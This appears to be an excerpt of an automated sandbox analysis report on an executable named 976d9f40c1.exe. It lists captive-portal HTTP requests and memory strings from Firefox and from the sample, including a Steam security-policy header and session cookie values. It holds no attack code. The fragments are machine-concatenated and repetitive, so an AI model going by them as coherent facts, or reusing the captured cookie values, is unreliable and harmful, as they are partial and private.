Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3194453184.000001379DD95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/spotify-embed.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/spotify-embed.js equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :strippedURL AND :strippedURL \|\| X'FFFF'UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/about_compat_broker.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/shims/spotify-embed.js equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.adsafeprotected.com/jsvid?color-mix(in srgb, currentColor 9%, transparent)--autocomplete-popup-separator-color://securepubads.g.doubleclick.net/gampad/ad://.adsafeprotected.com//imp/--panel-banner-item-update-supported-bgcolorhttps://en.wikipedia.org/wiki/Special:Searchresource://search-extensions/google/amazondotcom%40search.mozilla.org:1.6addons-search-detection@mozilla.com://www.facebook.com/platform/impression.php*resource://search-extensions/wikipedia/toolkit.telemetry.send.overrideOfficialChecktoolkit.telemetry.untrustedModulesPing.frequency@mozilla.org/windows-registry-key;1firefox-compact-light@mozilla.orgfirefox-alpenglow%40mozilla.org:1.4TelemetrySession::onEnvironmentChangeresource://gre/modules/ctypes.sys.mjsdelayedInit/this._delayedInitTask<toolkit.telemetry.firstShutdownPing.enabledassemblePayloadWithMeasurements - reason: TELEMETRY_ASSEMBLE_PAYLOAD_EXCEPTIONtoolkit.telemetry.healthping.enabledresource://search-extensions/ddg/toolkit.telemetry.archive.enabledTELEMETRY_SESSIONDATA_FAILED_VALIDATIONtoolkit.telemetry.overrideUpdateChannelresource://gre/modules/AddonManager.sys.mjsresource://builtin-themes/alpenglow/_loadSessionData - session data is invalidresource://gre/modules/UpdateUtils.sys.mjsinternal-telemetry-after-subsession-splitresource://gre/modules/TelemetryUtils.sys.mjsfirefox-compact-light%40mozilla.org:1.2resource://search-extensions/bing/toolkit.telemetry.testing.disableFuzzingDelay equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://.imgur.com/js/vendor..bundle.jshttps://smartblock.firefox.etp/play.svg://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.jsFileUtils_closeSafeFileOutputStream://static.chartbeat.com/js/chartbeat_video.js://pub.doubleverify.com/signals/pub.js*://static.chartbeat.com/js/chartbeat.js://connect.facebook.net//all.js://track.adform.net/serving/scripts/trackpoint/://cdn.branch.io/branch-latest.min.js*://connect.facebook.net//sdk.jshttps://smartblock.firefox.etp/facebook.svg://c.amazon-adsystem.com/aax2/apstag.js://www.google-analytics.com/analytics.js://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://libs.coremetrics.com/eluminate.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js://www.google-analytics.com/plugins/ua/ec.js://s0.2mdn.net/instream/html5/ima3.jspictureinpicture%40mozilla.org:1.0.0://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.jsFileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpiwebcompat-reporter%40mozilla.org:1.5.1@mozilla.org/addons/addon-manager-startup;1://www.everestjs.net/static/st.v3.js*resource://services-settings/IDBHelpers.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3210299308.000001379F117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3183838665.000001379A903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3204056198.000001379E616000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3257901918.00000137A6715000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3258641939.00000137A69FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3257901918.00000137A67B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3210751265.000001379F221000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3213506140.000001379F6FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: 976d9f40c1.exe, 0000000B.00000002.2923405378.0000000000EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 00000009.00000003.2803479877.000000000172B000.00000004.00000020.00020000.00000000.sdmp, 976d9f40c1.exe, 00000009.00000002.2806627641.000000000172B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ ht equals www.youtube.com (Youtube)
Source: 976d9f40c1.exe, 0000000B.00000002.2923205101.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac41ccf738a8ba3498dc; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=5ebdd52ca9f7afc37ef8283d; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26105Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveWed, 23 Oct 2024 13:49:29 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WebChannel/this._originCheckCallbackDevToolsStartup.jsm:handleDebuggerFlagdevtools-commandkey-profiler-capture@mozilla.org/network/protocol;1?name=defaultFailed to listen. Listener already attached.Failed to execute WebChannel callback:browser and that URL. Falling back to devtools/client/framework/devtools-browserdevtools-commandkey-javascript-tracing-toggledevtools.debugger.features.javascript-tracing^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools-commandkey-profiler-start-stopdevtools.performance.recording.ui-base-urlreleaseDistinctSystemPrincipalLoaderdevtools.performance.popup.feature-flagresource://devtools/server/devtools-server.jsdevtools/client/framework/devtoolsDevTools telemetry entry point failed: @mozilla.org/dom/slow-script-debug;1devtools.debugger.remote-websocket{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Got invalid request to save JSON dataFailed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=fileUnable to start devtools server on JSON Viewer's onSave failed in startPersistenceNo callback set for this channel.@mozilla.org/uriloader/handler-service;1and deploy previews URLs are allowed.resource://devtools/shared/security/socket.jsbrowser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNameshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/dbus-handler-app;1https://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/DeferredTask.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}Scheme should be either http or httpsresource://gre/modules/FileUtils.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/NetUtil.sys.mjsisDownloadsImprovementsAlreadyMigratedhttp://poczta.interia.pl/mh/?mailto=%sget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPhttps://poczta.interia.pl/mh/?mailto=%s^([a-z+.-]+:\/{0,3})([^\/@]+@).+http://www.inbox.lv/rfc2368/?value=%sget FIXUP_FLAG_FORCE_ALTERNATE_URICan't invoke URIFixup in the content processextractScheme/fixupChangedProtocol<resource://gre/modules/JSONFile.sys.mjsgecko.handlerService.defaultHandlersVersionbrowser.fixup.domainsuffixwhitelist.http://win.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeeded@mozilla.org/uriloader/local-handler-app;1^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)get FIXUP_FLAGS_MAKE_ALTERNATE_URIhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%s@mozilla.org/network/file-input-stream;1resource://gre/modules/JSONFile.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/c
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A973000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3210299308.000001379F108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3210299308.000001379F104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3183838665.000001379A955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000019.00000002.3183838665.000001379A955000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
